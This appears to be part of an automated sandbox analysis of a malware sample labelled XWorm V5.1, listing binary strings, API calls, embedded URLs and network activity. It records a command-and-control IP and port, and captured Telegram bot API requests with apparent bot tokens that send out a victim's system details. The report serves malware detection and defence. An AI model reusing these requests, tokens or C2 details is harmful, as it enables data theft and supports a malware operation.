Source:	Binary string: ISymWrapper.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb\?\p source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Selectors.pdbSystem.Runtime.Handles.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: CustomMarshalers.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdbpFM source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Net.Http.pdbSystem.Linq.Queryable.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.Routing.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Extensions.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Client.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.DataSetExtensions.pdb` source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Workflow.Runtime.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.DataSetExtensions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XamlBuildTask.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.pdbSystem.Resources.ResourceManager.dllSystem.ComponentModel.Annotations.dllSystem.Resources.ResourceManager.dllL source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.WindowsRuntime.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb1{qm^ source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb,> source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Internals.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdbSystem.Web.Extensions.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Build.Engine.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Routing.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.DataSetExtensions.pdbSystem.Runtime.Serialization.Formatters.dllSystem.Runtime.CompilerServices.VisualC.dllSystem.Runtime.CompilerServices.VisualC.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: CustomMarshalers.pdb.CRT$XPA source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Runtime.Remoting.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\HFayo.pdbpdbayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Net.Http.pdbu source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Device.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Activities.DurableInstancing.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Numerics.Vectors.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.OracleClient.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Serialization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Remoting.pdbSystem.Runtime.Remoting.dllMicrosoft.VisualBasic.ni.dllMicrosoft.Build.Tasks.v4.0.dllSystem.Runtime.Remoting.ni.dllC:\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Log.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Reflection.Context.pdb`QR source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ComponentModel.Composition.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdbSystem.Security.Cryptography.Algorithms.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\HFayo.pdbB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Build.Utilities.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb??\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Activities.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Engine.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Log.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Remoting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Core.pdbH source: WER2A76.tmp.dmp.6.dr
Source:	Binary string: CustomMarshalers.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Reflection.Context.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.WebRequest.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.ServiceMoniker40.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\exe\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.Presentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.JScript.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Reflection.Context.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.Serialization.Formatters.Soap.pdbP{ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb@GN source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Services.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Activities.Build.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Mobile.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr

Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB14DCE0 FindFirstFileExW,	2_2_00000142DB14DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A04DCE0 FindFirstFileExW,	4_2_000001F28A04DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D0748DCE0 FindFirstFileExW,	7_2_0000023D0748DCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3CDCE0 FindFirstFileExW,	12_2_000002109C3CDCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB63DCE0 FindFirstFileExW,	23_2_00000200AB63DCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFADCE0 FindFirstFileExW,	41_2_000001DDEEFADCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE9DCE0 FindFirstFileExW,	42_2_000001932CE9DCE0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 104.194.9.116

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.7:49713 -> 104.194.9.116:7000

Source: global traffic

HTTP traffic detected: GET /bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845&text=%E2%98%A0%20%5BXWorm%20V5.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AB83F65D83688BE31381B%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20UZK6EYLC%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20pdr326 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

ASN Name: RELIABLESITEUS RELIABLESITEUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

HTTPS traffic detected: 104.98.116.138:443 -> 192.168.2.7:49725 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.9.116

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 12_2_00401980 GetConsoleWindow,fopen,fopen,fscanf,fclose,_malloc_dbg,_malloc_dbg,fopen,GetVolumeInformationA,InternetOpenA,SleepEx,fgets,fclose,fopen,fclose,GetVolumeInformationA,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,

12_2_00401980

Source: global traffic	HTTP traffic detected: GET /bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845&text=%E2%98%A0%20%5BXWorm%20V5.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AB83F65D83688BE31381B%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20UZK6EYLC%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20pdr326 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=6585536474&text=User%205814831126857437469%20ran%20the%20malware HTTP/1.1User-Agent: MyAppHost: api.telegram.orgCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: svchost.exe, 00000007.00000003.1615716729.0000023D06F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615551078.0000023D06F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000007.00000003.1615551078.0000023D06F74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000007.00000002.3901404764.0000023D0763F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3901255269.0000023D07600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 00000007.00000002.3901404764.0000023D0763F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_S
Source: svchost.exe, 00000007.00000002.3901317588.0000023D07615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbpose
Source: svchost.exe, 00000002.00000002.2466045168.00000142DB211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b92ad73
Source: svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1717308062.0000023D06F84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1622716421.0000023D07679000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482586939.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 00000007.00000003.1483104918.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1621653752.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdss
Source: svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1717308062.0000023D06F84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482586939.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdData
Source: svchost.exe, 00000007.00000003.1483104918.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1621653752.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdt
Source: svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdx
Source: svchost.exe, 00000007.00000002.3899970594.0000023D066D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: edb.log.2.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000007.00000003.1622108525.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1636876411.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1643671089.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scToken
Source: svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scs-cbc
Source: svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000007.00000003.1472186772.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuef
Source: svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels
Source: svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: jsc.exe, 00000003.00000002.3905812861.0000000003041000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: svchost.exe, 00000007.00000003.3864858154.0000023D06702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.co
